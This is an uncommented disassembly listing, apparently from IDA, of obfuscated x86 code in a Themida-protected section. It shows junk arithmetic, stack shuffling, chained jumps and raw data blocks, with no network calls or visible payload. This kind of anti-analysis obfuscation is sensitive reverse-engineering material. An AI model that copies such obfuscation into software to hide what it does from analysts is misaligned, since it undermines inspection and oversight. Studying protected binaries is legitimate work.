		mov	edx, 2F350B1Bh
		sub	edx, 75367BA1h
		shl	edx, 8
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0D267C71Ah
		sub	edx, eax
		pop	eax
		sub	esi, 550B232Fh
		add	esi, edx
		push	ecx
		jmp	loc_61EFD8
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 7F6EE9h, 34875800h, 89535C24h, 13E952E3h
		dd 0F7000087h, 0EE8146D6h, 39523664h, 7C76F681h, 0E9576DDBh
		dd 3E75h
; ---------------------------------------------------------------------------


loc_61F78C:				; CODE XREF: Themida_:006263F3j
		pop	esp
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_61C21F
; ---------------------------------------------------------------------------
		db 58h,	55h, 0BDh
		dd 784774F6h, 46F0ED81h, 0E5812679h, 22854723h,	0E904E5C1h
		dd 56E9h, 807CE480h, 0E708CDC4h, 8E7C058h, 11B55166h, 8B66EF28h
		dd 0C483240Ch, 5BF83002h, 13E3E9h, 0C4835E00h, 4C68104h
		dd 68000000h, 3FCCh, 50240C89h,	2C6DFCB8h, 0F7D8F752h
		dd 635205D8h, 8F0D578Ah, 0C10E1D44h, 20508E0h, 89402A31h
		dd 0CE0158C1h, 0E9240C8Bh, 0FFFFDE85h, 42Dh, 24048700h
		dd 158E95Ch, 2C330000h,	242C3124h, 5C242C33h, 68C8B70Fh
		dd 2C6Dh, 0E9240C89h, 0FFFFC9E3h
; ---------------------------------------------------------------------------


loc_61F83C:				; CODE XREF: Themida_:006269B7j
		not	dword ptr [esp]
		pop	esi
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4080638Bh
		and	edi, 14053C5h
		neg	edi
		sub	edi, 0EBFC197Eh
		xor	esi, edi
		mov	edi, [esp]
		jmp	loc_61D556
; ---------------------------------------------------------------------------
		db 58h
		dd 30A2EB81h, 4B436BBAh, 8105E3C1h, 3F6A76EBh, 0E95572h
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61F883:				; CODE XREF: Themida_:006216D4j
		add	[edx], ebp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		pop	eax
		pop	ebp
		jmp	loc_624624
; ---------------------------------------------------------------------------
		db 31h
		dd 0F7EE31F5h, 5D31E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61F89E:				; CODE XREF: Themida_:0061E1C3j
		pop	ecx
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		push	small 1768h
		mov	[esp], dx
		mov	dl, 9Ch
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	dl, 0CCh
		mov	cl, dl
		jmp	loc_628451
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC2h, 0FFDA5FE9h, 9AE950FFh, 4A00008Eh,	268FE9h
		db 0
; ---------------------------------------------------------------------------


loc_61F8D9:				; CODE XREF: Themida_:006275A3j
		pop	edx
		push	ebx
		push	edx
		push	22A3660Fh
		pop	edx
		dec	edx
		jmp	loc_61E48A
; ---------------------------------------------------------------------------
		dd 4C781h, 0C7830000h, 243C8704h, 2592685Ch, 14890000h
		dd 4EC8324h, 83242489h,	5A042404h, 4C281h, 0C2830000h
		dd 24148704h, 23FCE95Ch, 0E9580000h, 0FFFFD0B0h, 752DC801h
		dd 0E91EB20Dh, 5DDEh
; ---------------------------------------------------------------------------


loc_61F92C:				; CODE XREF: Themida_:00628594j
		xor	[esp], ebp
		jmp	loc_621EF5
; ---------------------------------------------------------------------------
		dd 405E089h, 0E9000000h, 81CCh,	88531AB4h, 0FC8850E7h
		dd 6065E9h, 5E08900h, 4, 172EE9h, 0C8C1E900h, 0FD01FFFFh
		dd 49D2C581h, 0E95F00DFh, 79AFh, 4EC81h, 4890000h, 0C989E924h
		dd 1C89FFFFh, 4EC8324h,	81243489h, 4A472404h, 815B2FE3h
		dd 0E34A47EBh, 4EA5E92Fh, 0BE560000h, 3CB30499h, 26C7E9h
		dd 0C7835A00h, 0E442E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_61F9AA:				; CODE XREF: Themida_:0062131Ej
		push	small 4144h
		mov	[esp], dx
		jmp	loc_625BD3
; ---------------------------------------------------------------------------
		db 29h
		dd 0FF535EF3h, 5B042474h, 0E0CE9h, 0B6C18100h, 176DB6Fh
		dd 0DA8959CBh, 0FFD73DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_61F9D5:				; CODE XREF: Themida_:0061E4EEj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_6262D5
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 0DBh
		dd 8B58EA32h, 0C4812414h, 4, 8702C683h,	0E95C2434h, 0FFFFE349h
; ---------------------------------------------------------------------------


loc_61FA0C:				; CODE XREF: Themida_:006271C1j
		xor	ebp, 37BF7D79h
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_61F279
; ---------------------------------------------------------------------------
		dw 5552h
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 423Eh
; ---------------------------------------------------------------------------


loc_61FA38:				; CODE XREF: Themida_:0062586Fj
		shr	ecx, 0Ah
		push	0CCCh
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		jmp	loc_61C8D9
; ---------------------------------------------------------------------------


loc_61FA4F:				; CODE XREF: Themida_:0062288Cj
		xor	ebx, 6220FFF8h
		sub	edx, ebx
		pop	ebx
		add	edx, 1
		push	edi
		mov	edi, 7380672Fh
		jmp	loc_621D95
; ---------------------------------------------------------------------------
byte_61FA69	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061BF74o
		dd 4EC8324h, 54243C89h,	6986E95Fh, 355E0000h, 69232703h
		dd 242C8150h, 1, 22E0E9h, 7FD8BB00h, 0DD013079h, 81241C8Bh
		dd 4C4h, 5DEB3100h, 43D4E9h, 34FF5400h,	0C4815A24h, 4
		dd 35B4B850h, 28050A98h, 4818600Fh, 0B32DD0F7h,	353D4B3Eh
		dd 7E931A76h, 2F660335h, 58C201E1h, 0FFE457E9h,	4C483FFh
		dd 0C381C329h, 72B45F12h, 0B60F66h, 10886866h, 24048966h
		dd 0FFC72EE9h, 3EFC1FFh, 0FFC888E9h, 4C681FFh, 81000000h
		dd 4EEh, 24348700h, 242C895Ch, 944C8A68h, 0D0B6E978h, 0C481FFFFh
		dd 4, 8105E2C1h, 5C3000E2h, 0BF5734h, 29000000h, 0E9FA87D7h
		dd 6D28h, 5738F681h, 0F38987C5h, 9ACB815Eh, 0F76BB719h
		dd 51D3F7DBh, 0F5DD4B9h, 416AE933h, 0C7810000h,	4, 8B243C87h
		dd 81532424h, 4ECh, 6430E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61FB6A:				; CODE XREF: Themida_:00623D34j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_61C60D
; ---------------------------------------------------------------------------


loc_61FB88:				; CODE XREF: Themida_:0061E9FBj
		xor	ecx, edx
		pop	edx
		mov	[edi+20h], ecx
		mov	ecx, [esp]
		jmp	loc_62551D
; ---------------------------------------------------------------------------


loc_61FB96:				; CODE XREF: Themida_:00624836j
		mov	[esp], edx
		mov	dh, 22h
		add	dh, 8Ch
		inc	dh
		inc	dh
		xor	dh, 88h
		sub	bl, dh
		pop	edx
		jmp	loc_623226
; ---------------------------------------------------------------------------
		db 5Dh,	89h, 0D9h
		dd 0E92434FFh, 0FFFFD50Fh, 0F47D30BDh, 0E5814D49h, 42EF602Dh
		dd 0FFFFED81h, 0ED81FFFFh, 171C41A0h, 0E95DEA29h, 1D8Bh
		dd 0ABBD554Eh, 94A6C71h, 0EC815DEEh, 4,	0BF243C89h, 0DA7E7BFFh
		dd 41E9FE31h, 8100003Dh, 0FC48BDE9h, 24148B3Bh,	5004C483h
		dd 2B8h, 58C10100h, 8904EC83h, 74FF240Ch, 88E90424h, 57000019h
		dd 0FDE9E789h, 68FFFFE6h, 704Eh, 0E9243489h, 217Dh, 4BA525Eh
		dd 1000000h, 74EFE9D6h,	5E660000h, 0B8C38166h, 0C0B70F7Ch
		dd 44686866h, 24048966h, 0FFC5CAE9h, 3AA8BAFFh,	0E2C1560Eh
		dd 78F28106h, 89D943A9h, 0D1E95AD3h, 81FFFFCFh,	4C4h, 59AEE900h
		dd 68510000h, 75997E47h, 419AE9h, 2434FF00h, 582434FFh
		dd 4EC8357h, 0E9242489h, 803Ch,	4C281h,	0B4680000h, 89000024h
		dd 0E9522434h, 2389h
; ---------------------------------------------------------------------------


loc_61FCA8:				; CODE XREF: Themida_:00628162j
		pop	eax
		jmp	loc_6232BD
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 0B5252C2Dh, 0FF30FF57h, 81592434h, 4C4h, 2434FF00h
		dd 4C48358h, 4EF2E9h, 0B8E95800h, 59000001h, 0F88EA81h
		dd 0C2014DB0h, 0F88C281h, 0CCE94DB0h, 0C1000042h, 0C28107E2h
		dd 5DE26E6h, 8106E2C1h,	1B397CEAh, 5AD701F2h, 0FFDFA4E9h
		dd 81F101FFh, 41159EC1h, 0DEB8502Ch, 2954C437h,	535E58C1h
		dd 2BBh, 5BD90100h, 6A67E9h, 6690B100h,	285CB151h, 2C5966C8h
		dd 4C828A6h, 6D94E9A6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_61FD36:				; CODE XREF: Themida_:006223B1j
		xor	edx, [esp]
		xor	[esp], edx
		pop	ebp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_61E74A
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 34FF5C24h, 6FBDE924h, 0B8660000h,	31660354h
		dd 665866C2h, 0E95AD501h, 83BEh, 8B240487h, 34FF2424h
		dd 24048B24h, 81E78957h, 4C7h, 4C78300h, 0E9243C87h, 1D95h
		dd 0EDF5E95Fh, 8957FFFFh, 4C781E7h, 83000000h, 76E904C7h
		dd 0F7000083h, 5D8F7D0h, 58604D0Ah, 66B1E005h, 58C389CAh
		dd 2D21E9h
		db 0
; ---------------------------------------------------------------------------


loc_61FDB9:				; CODE XREF: Themida_:00627025j
		xchg	ecx, [esp]
		mov	esp, [esp]
		xor	bl, al
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_61FDC9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0061BF3Co
		dd 8B545624h, 0BBE92434h
		db 1, 2	dup(0)
aMqsvb		db 'Qvb',0            ; DATA XREF: Themida_:0061C13Co
		align 2
aAav		db '[',0
		db 0E8h
		dd 83240C8Bh, 336804C4h, 89000043h, 0B0502414h,	88882C23h
		dd 0CE8058C6h, 2EC8141h, 66000000h, 88241C89h, 50CFFEF7h
		dd 0E688FC88h, 0F65B6658h, 32E950D6h, 0BDFFFFFBh, 649E6630h
		dd 815DE929h, 45260DF1h, 93E18148h, 8132E626h, 0FB475FF1h
		dd 37C18126h, 11553B2h,	0F390E9CBh, 0E789FFFFh,	4C781h
		dd 0EC830000h, 24148904h, 0F5233EBAh, 6EAC122h,	0FFFE8AE9h
		dd 0E9DAF7FFh, 0FFFFE9C5h, 81E18951h, 4C1h, 0E7ACE900h
		dd 8966FFFFh, 0B0B22414h, 69C0E9h, 84685000h, 583EAD0Dh
		dd 47E9D8F7h, 81FFFFC7h, 0E92A44C2h, 81C22921h,	0E92A44EAh
		dd 4EC28121h, 0E9403C7Eh, 0FFFFDBE5h, 0EC81D0F7h, 4, 0BA241489h
		dd 66714883h, 4EC81h, 1C890000h, 17F3BB24h, 0DA01B4B7h
		dd 1F56E95Bh, 4B2D0000h, 8B1CCA54h, 0C4832434h,	56D80104h
		dd 0FE55D0BEh, 7CE68148h, 0E93A6047h, 6B4Dh, 0C158C709h
		dd 0F78103E7h, 0F9EDEFFCh, 0FFCBB0E9h, 0B96651FFh, 9E93E92h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_61FF03:				; CODE XREF: Themida_:0062695Aj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_61D489
; ---------------------------------------------------------------------------
		dw 0C780h
		dd 0E9F70093h, 45A2h, 2870C680h, 0F5A66F3h, 34FFC0B6h
		dd 0C2F5E987h, 1489FFFFh, 50B85024h, 897E094Dh,	0D32958C2h
		dd 0B68E9h
		db 0
; ---------------------------------------------------------------------------


loc_61FF3D:				; CODE XREF: Themida_:0061CF8Cj
		or	edx, eax
		shl	edx, 1
		push	40B6h
		mov	[esp], ebx
		push	edx
		push	22315CC4h
		pop	edx
		add	edx, 51AF6C59h
		jmp	loc_627853
; ---------------------------------------------------------------------------
byte_61FF5B	db 0FFh			; DATA XREF: Themida_:0061C008o
		dd 589D1C77h, 9C240419h, 0FFC2B6E9h, 148966FFh,	9C506624h
		dd 0FFC2AAE9h, 243489FFh, 1A3CE9h, 0C29DE900h, 0ABDFFFFh
		dd 81787C22h, 1A641BEDh, 0CE0AE97Ah, 0C481FFFFh, 4, 0B4685357h
		dd 5B2C553Bh, 0C450C381h, 0E953D3AAh, 7507h
; ---------------------------------------------------------------------------


loc_61FFAC:				; CODE XREF: Themida_:00623B72j
		and	ebx, 7D5B5EB7h
		xor	ebx, 398A3E5Ah
		jmp	loc_621437
; ---------------------------------------------------------------------------
		db 0F7h, 0D7h, 87h
		dd 0C1D1F7F9h, 0F18105E1h, 406E2022h, 0C8BCB01h, 0E6895624h
		dd 4C681h, 8FE90000h
		db 29h,	2 dup(0)
byte_61FFDF	db 66h			; DATA XREF: Themida_:0061BF80o
		dd 6824048Bh, 5EBh, 54240C89h, 4BA5259h, 81000000h, 0FC48BDC1h
		dd 0AEE9813Bh, 115C817h, 0AEC181D1h, 0E915C817h, 0FFFFFBEBh
; ---------------------------------------------------------------------------


loc_62000C:				; CODE XREF: Themida_:006286C4j
		pop	eax
		push	ebp
		jmp	loc_61DD91
; ---------------------------------------------------------------------------
		db 0BBh
		dd 7E2B1603h, 0E95BD801h, 6FA2h
; ---------------------------------------------------------------------------


loc_620020:				; CODE XREF: Themida_:00620F2Ej
		add	ecx, esi
		jmp	loc_61F4B4
; ---------------------------------------------------------------------------
		db 55h
		dd 0CC228D68h, 0CD815D28h, 3C5A3B9Bh, 3B83F581h, 0E8893CDEh
		dd 6B34E9h
		db 0
; ---------------------------------------------------------------------------


loc_620041:				; CODE XREF: Themida_:0061EFBEj
		pop	ebp
		pop	ebp
		jmp	loc_625DF8
; ---------------------------------------------------------------------------


loc_620048:				; CODE XREF: Themida_:0062239Aj
		push	ebx
		jmp	loc_623D55
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0B60F5C24h, 8734FFC0h, 4EC81h, 14890000h, 0F13CE924h
		dd 0BD55FFFFh, 4C704576h, 0C5CBED81h, 0E889DA99h, 0E9C1095Dh
		dd 0FFFFF721h, 8302C483h, 148904ECh, 0C04FB624h, 0E6D007E6h
		dd 0E904E6C0h, 1BD1h, 33243431h, 248B2434h, 0C98DE924h
		dd 0C581FFFFh, 2CA9605Dh, 52CFE9h, 24248900h, 4240481h
		dd 0E9000000h, 5D0Dh, 0A9B98435h, 58C1012Fh, 0E902C183h
		dd 609Dh, 0E904C483h, 7BD9h, 0DE87D3F7h, 3F9EE681h, 0CE811BEFh
		dd 51744CC1h, 29E2F681h, 0E6C17552h, 5793E907h
		db 2 dup(0)
word_6200F2	dw 8B66h		; DATA XREF: Themida_:0061BF8Co
		dd 8951240Ch, 4EC83E1h,	0E9241489h, 0FFFFEF6Fh
dword_620104	dd 240C8B66h, 5AC0E9h		db 0
; ---------------------------------------------------------------------------


loc_62010D:				; CODE XREF: Themida_:00626417j
		push	5B82h
		mov	[esp], ebp
		mov	ebp, 4
		add	edi, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	ebx
		mov	ebx, 6DF8173Eh
		mov	esi, ebx
		jmp	loc_61F18B
; ---------------------------------------------------------------------------
aVsb		db 'V[',0
		align 2
		dw 0EF29h
		dd 83242C8Bh, 0E9C304C4h, 0FFFFC0BFh
; ---------------------------------------------------------------------------


loc_620160:				; CODE XREF: Themida_:0061D12Aj
		push	eax
		jmp	loc_61EE04
; ---------------------------------------------------------------------------
		dw 0C15Fh
		dd 0F28104EAh, 31497929h, 0A1EA8142h, 0E90B6598h, 5E13h
		dd 0FFC09EE9h, 98E95EFFh, 56FFFFC0h, 2434FF54h,	2F34E95Eh
		dd 0F5810000h, 0F2C66882h, 2C8BE929h, 4C48124h,	29000000h
		dd 379CE9CFh, 515E0000h, 2B850h, 0C1890000h, 4489E9h
		db 0
; ---------------------------------------------------------------------------


loc_6201B9:				; CODE XREF: Themida_:006250EBj
		pop	ecx
		shl	esi, 3
		jmp	loc_6269B5
; ---------------------------------------------------------------------------
		dw 5659h
		dd 8E23B9BEh, 0E6814671h, 348D3E35h, 1E7BE9h, 4C48300h
		dd 81664166h, 660001E9h, 0E908E1C1h, 0FFFFCAF7h
; ---------------------------------------------------------------------------


loc_6201E8:				; CODE XREF: Themida_:006262E1j
		add	esi, ebx
		jmp	loc_623A48
; ---------------------------------------------------------------------------


loc_6201EF:				; CODE XREF: Themida_:00622FF4j
		and	edx, 71937F89h
		not	edx
		add	edx, 7CABAC13h
		and	ebp, edx
		jmp	loc_62507B
; ---------------------------------------------------------------------------
dword_620204	dd 9C241CF7h, 0FFC012E9h, 0FFED80FFh, 42F9E9h, 24048900h
					; DATA XREF: Themida_:0061C1C0o
		dd 821A0CB8h, 53ED2D64h, 2E92737h, 0B8000085h, 7EBE7EC1h
		dd 503E0C1h, 1CE87659h,	7EA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_620239:				; CODE XREF: Themida_:006225F8j
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 4
		jmp	loc_621D48
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0BBE90000h
		db 0C4h, 2 dup(0FFh)
byte_620257	db 66h			; DATA XREF: Themida_:0061C060o
		dd 56240C8Bh, 0C681E689h, 4, 463668h, 241C8900h, 90BB5357h
		dd 81007F69h, 0F24073C3h, 0FCCB812Fh, 0E90F9059h, 0FFFFE148h
		dd 0D682004h, 89000048h, 0E9532414h, 0D82h, 0D3BD5552h
		dd 8915D968h, 0E2C15DEAh, 0FBB7E902h, 3C89FFFFh, 76AD6824h
		dd 19E93229h, 0F7FFFFECh, 0D8E981D9h, 0E9E9872Ch, 7A16h
		dd 81C3015Fh, 2C72B6EBh, 148B6666h, 8AE95724h, 8100002Fh
		dd 700739E7h, 84F78121h, 8951296Ch, 0EA815FFAh,	35384DE2h
		dd 4BD3F281h, 0F28151FCh, 2887791h, 4355CC2Dh, 294CE95Fh
		dd 315B0000h, 8B042454h, 0C4812414h, 4,	582434FFh, 4C481h
		dd 0E9530000h, 0FFFFCAB0h, 0FFBEFEE9h, 24348BFFh, 8104C483h
		dd 4C7h, 243C8700h, 59CA895Ch, 0FFBEE6E9h, 8BD801FFh, 0C481241Ch
		dd 4, 405h, 1308E900h, 0C890000h, 28A7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_620356:				; CODE XREF: Themida_:0061D5CEj
		pop	small word ptr [edi+eax*4]
		jmp	loc_61EC45
; ---------------------------------------------------------------------------
		db 0F7h
		dd 6E0C1D8h, 3BA6BE56h,	0F02160B9h, 388A2D5Eh, 0D0F711C5h
		dd 0FFEF9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_620379:				; CODE XREF: Themida_:00622453j
		mov	esi, 3B920762h
		jmp	loc_620F1D
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFC3h, 0ACE381FFh, 0F70FE658h, 0ADC381D3h, 10C4040h
		dd 241C8BDFh, 4C481h, 0FF570000h, 5F042474h, 5C24048Fh
		dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 0BD242C89h, 45C3196h
		dd 0DD7E9h, 24048100h, 4, 5DCAE95Dh, 0D9F70000h, 5DE95255h
		dd 81000011h, 999930C6h, 8BF089F5h, 0C4832434h,	58C73104h
		dd 5004E7C1h, 639DE9h, 2C48300h, 0B8EB8166h, 0C381667Ch
		dd 2966519Ch, 555666C3h, 412CE9h, 0E9515F00h, 0FFFFE0DBh
		dd 23D7E95Fh, 0EC810000h, 4, 0B8240489h, 14335AABh, 7AF8E9h
		db 0
; ---------------------------------------------------------------------------


loc_620431:				; CODE XREF: Themida_:00626604j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_62717F
; ---------------------------------------------------------------------------


loc_620440:				; CODE XREF: Themida_:006205CDj
		mov	esi, 0DE0034Bh
		inc	esi
		shr	esi, 4
		sub	esi, 0D764C652h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		sub	eax, edi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 297939E2h
		add	eax, 18B22C6Bh
		jmp	loc_61DE67
; ---------------------------------------------------------------------------


loc_620471:				; CODE XREF: Themida_:00620542j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, 446E04AEh
		xor	[esp+4], edi
		pop	edi
		pop	eax
		push	7278h
		mov	[esp], edi
		push	ebx
		mov	ebx, 0F8947F0h
		sub	ebx, 174D7E9Bh
		sub	ebx, 0B3CDC4A7h
		sub	esp, 4
		mov	[esp], ebx
		pop	edi
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_6268B3
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 4C181h, 0FF510000h, 0FF042474h, 81592434h, 4C4h, 3D9E900h
		dd 835C0000h, 2C3304C5h, 242C3124h, 5C242C33h, 6564E9h
		dd 0E6895600h, 0FFF608E9h
		db 0FFh
byte_6204F1	db 66h,	8Bh, 4		; DATA XREF: Themida_:0061C0C4o
		dd 7196824h, 0C890000h,	4478E924h, 0BB80000h, 0E94BAF94h
		dd 4158h
; ---------------------------------------------------------------------------


loc_62050C:				; CODE XREF: Themida_:00622360j
		sub	eax, 58FF790Ch
		or	eax, 53E12D7Fh
		shl	eax, 3
		add	eax, 4050900Ch
		jmp	loc_6229F7
; ---------------------------------------------------------------------------
aZSO		db ',$\!o',0
		align 4
		dd 8F04C483h, 5C2404h, 0E99C2404h, 0FFFFBCE3h
; ---------------------------------------------------------------------------


loc_62053C:				; CODE XREF: Themida_:0061CEF3j
		sub	edx, 4
		jmp	loc_620471
; ---------------------------------------------------------------------------
byte_620547	db 51h			; DATA XREF: Themida_:0061C098o
		dd 0FFCD35E9h, 83BA52FFh, 1986DDFh, 0F9E95AD1h,	8300005Dh
		dd 248904ECh, 24048324h, 0DDE7E904h, 815FFFFFh,	4EBh, 0E1E95300h
		dd 6600002Eh, 0E9C8B60Fh, 1E6Eh, 5D80159h, 15DB6BD5h, 3AD8BF57h
		dd 0E7816040h, 769409A7h, 9127EF81h, 0F8011B04h, 0FFCBE4E9h
		dd 241C8BFFh, 8704C483h, 248B2414h, 0E1F76624h,	41806866h
		dd 0FFF9B0E9h, 240C89FFh, 2B9h,	59CE0100h, 0E9243433h
		dd 6EFAh
; ---------------------------------------------------------------------------


loc_6205CC:				; CODE XREF: Themida_:0061D014j
		push	esi
		jmp	loc_620440
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 3880B924h, 0CA01091Fh, 81240C8Bh, 4C4h, 4EC8300h, 0FFC10CE9h
		dd 636AB9FFh, 0CBBF66D0h, 81F14FD7h, 3A6462C7h,	81CF0146h
		dd 3A6462EFh, 240C8B46h, 50E18951h, 4B8h, 58C10100h, 8704C183h
		dd 815C240Ch, 4B52FACFh, 0C875715h, 0E9D9F724h,	0FFFFD058h
		dd 4902E1C1h, 0E9D1F741h, 0C32h
dword_620638	dd 0E932FF64h, 0FFFFBBDFh, 7A56E957h		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_620646:				; CODE XREF: Themida_:00621C20j
		pop	ebx
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_6225AD
; ---------------------------------------------------------------------------
		dd 1895BF57h, 0EF810AAAh, 21ED36F5h, 1361E781h,	0C7811DF2h
		dd 0EED8D0A7h, 15FF901h, 2434FFCFh, 218B6859h, 14890000h
		dd 0E9E28924h, 0FFFFF60Ch, 2DDCE958h, 0C4830000h, 52E1F704h
		dd 8904EC83h, 4832424h,	148B0424h, 4C48124h, 56000000h
		dd 4BEh, 8BF20100h, 0C4832434h,	4BD5504h, 81000000h, 0EC4AABC2h
		dd 93EA814Eh, 0E9684D77h, 0FFFFC0D5h, 0E933F580h, 0FFFFFB39h
		dd 4246C81h, 129850ECh,	4245C29h, 4244481h, 129850ECh
		dd 2434FF5Bh, 8124048Bh, 4C4h, 58BAE900h, 51660000h, 240CFF66h
		dd 81665966h, 669034E9h, 0E93D252Dh, 0FFFFC789h, 0FFBB0AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_620715:				; CODE XREF: Themida_:00622E96j
		push	ebx
		push	esi
		mov	esi, 415A533Dh
		mov	ebx, 415A5361h
		sub	ebx, esi
		pop	esi
		add	ebx, 48691F1Fh
		add	ebx, 7137E07h
		add	ebx, edi
		sub	ebx, 7137E07h
		push	722Bh
		mov	[esp], ecx
		mov	ecx, 48691F1Fh
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_61E5C2
; ---------------------------------------------------------------------------
		dw 73BFh
		dd 0F7601A7Ch, 73C781DFh, 0F76FFE5Ch, 0F7D7F7DFh, 3EF81DFh
		dd 0E9A012E3h, 5F02h, 0E970C180h, 0FFFFEA0Ch, 4C281h, 0C2830000h
		dd 0C4AEE904h, 74FFFFFFh, 0E95A0424h, 68C7h
; ---------------------------------------------------------------------------


loc_620790:				; CODE XREF: Themida_:00625342j
		push	edx
		mov	edx, 12BC18F4h
		neg	edx
		jmp	loc_621CB3
; ---------------------------------------------------------------------------
aIS		db '$$*:',0
		dd 24248B00h, 66DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_6207AD:				; CODE XREF: Themida_:0061D677j
		dec	ecx
		push	1BD7h
		mov	[esp], eax
		mov	eax, 5ED02F6Ah
		xor	ecx, eax
		pop	eax
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_625E4E
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 8924248Bh, 0E0892404h, 405h,	2C08300h, 0FFF183E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_6207E9:				; CODE XREF: Themida_:00623E96j
		sub	esi, 28A818F9h
		add	esi, ecx
		add	esi, 28A818F9h
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_62177B
; ---------------------------------------------------------------------------


loc_620807:				; CODE XREF: Themida_:0061CCDAj
		push	ecx
		jmp	loc_61CB8A
; ---------------------------------------------------------------------------


loc_62080D:				; CODE XREF: Themida_:00627C77j
		add	edi, 3DD307C1h
		xor	edi, 1368179Dh
		add	esi, edi
		pop	edi
		or	esi, 707C595Dh
		jmp	loc_623F4E
; ---------------------------------------------------------------------------


loc_620827:				; CODE XREF: Themida_:00623405j
		mov	esi, [esp]
		jmp	loc_6250D7
; ---------------------------------------------------------------------------
		db 0BFh
		dd 165A2221h, 6F05C781h, 0C14776FAh, 0CF8105EFh, 37A652EBh
		dd 1C781h, 0B1E90000h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_62084F:				; CODE XREF: Themida_:0062426Aj
		push	176Fh
		mov	[esp], edx
		mov	edx, esp
		push	eax
		push	ebp
		push	6A10C16h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 6396435Dh
		add	ebp, 94D73C4h
		jmp	loc_61E053
; ---------------------------------------------------------------------------
aZs@o		db 'Z@O',0
		align 10h
		dd 13EFBB53h, 0D901DCABh, 0FFCA015Bh, 0C8B2434h, 4C48324h
		dd 4D5DE9h, 0D1016600h,	0E924148Bh, 0FFFFF931h,	50EAF681h
		dd 0E8E92A21h, 8F000022h, 248B2404h, 5AE95024h,	80FFFFC6h
		dd 0F328D5C3h, 349CE9h
		db 0
; ---------------------------------------------------------------------------


loc_6208C5:				; CODE XREF: Themida_:0061DA84j
		push	ecx
		mov	cl, bh
		mov	dl, cl
		pop	ecx
		pop	ebx
		not	dl
		push	bx
		mov	bh, 20h
		add	dl, bh
		pop	bx
		push	edx
		not	byte ptr [esp]
		pop	edx
		xor	dl, 32h
		jmp	loc_621312
; ---------------------------------------------------------------------------
		db 33h
		dd 248B2414h, 24D36624h, 2CE99C24h, 5FFFFB9h, 4, 7077E950h
		dd 0EA010000h, 2434FF5Dh, 4C4815Dh, 83000000h, 143302C2h
		dd 24143124h, 0FFFFCAE9h, 4EC83FFh, 205DE9h
		db 0
; ---------------------------------------------------------------------------


loc_620921:				; CODE XREF: Themida_:006265E5j
		mov	bl, 2Eh
		xor	bl, 0E6h
		jmp	loc_625ADB
; ---------------------------------------------------------------------------


loc_62092B:				; CODE XREF: Themida_:0061DD37j
		shl	eax, 6
		push	ebx
		mov	ebx, 0CA69F7CCh
		xor	eax, ebx
		pop	ebx
		xor	edx, eax
		jmp	loc_61D37E
; ---------------------------------------------------------------------------
